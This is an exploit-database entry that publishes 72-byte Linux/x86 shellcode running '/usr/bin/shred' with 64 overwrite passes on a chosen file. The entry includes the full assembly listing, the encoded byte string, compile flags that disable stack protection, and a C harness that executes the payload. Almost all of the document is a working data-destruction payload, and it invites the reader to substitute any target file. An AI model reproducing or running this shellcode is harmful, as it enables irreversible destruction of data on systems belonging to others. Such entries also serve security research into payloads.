ExploitFixes
Linux/x86 - shred file Shellcode (72 bytes) 2019-05-06 21:05:16

# Exploit Title: Linux/x86 shred file (72 bytes)
# Google Dork: None
# Date: 02.05.2019
# Exploit Author: strider
# Vendor Homepage: None
# Software Link: None
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
# CVE : None
# Shellcode Length: 72
------------------------------[Description]---------------------------------

This shellcode shred files 64 times

replace test.txt with any file you want.

-----------------------------[Shellcode Dump]---------------------------------
section .text

global _start

_start:
xor eax, eax
push eax

push word 0x6465
push 0x7268732f
push 0x6e69622f
push 0x7273752f

mov ebx, esp
jmp short _file

_params:
pop ecx
mov ebp, ecx
xor ecx, ecx
push eax
push 0x6e7a762d
mov esi, esp

push eax
push word 0x3436
xor edx, edx
mov edi, esp

_exec:
push eax
push ebp
push edi
push esi
push ebx
mov ecx, esp
mov al, 0xb

int 0x80

_file:
call _params
string db "test.txt"; replace test.txt with any file you want

-----------------------------[Compile]---------------------------------------------
gcc -m32 -fno-stack-protector -z execstack -o tester tester.c

-----------------------------[C-Code]-----------------------------

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = "\x31\xc0\x50\x66\x68\x65\x64\x68\x2f\x73\x68\x72\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\xeb\x21\x59\x89\xcd\x31\xc9\x50\x68\x2d\x76\x7a\x6e\x89\xe6\x50\x66\x68\x36\x34\x31\xd2\x89\xe7\x50\x55\x57\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xda\xff\xff\xff\x74\x65\x73\x74\x2e\x74\x78\x74";
void main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;
ret();
}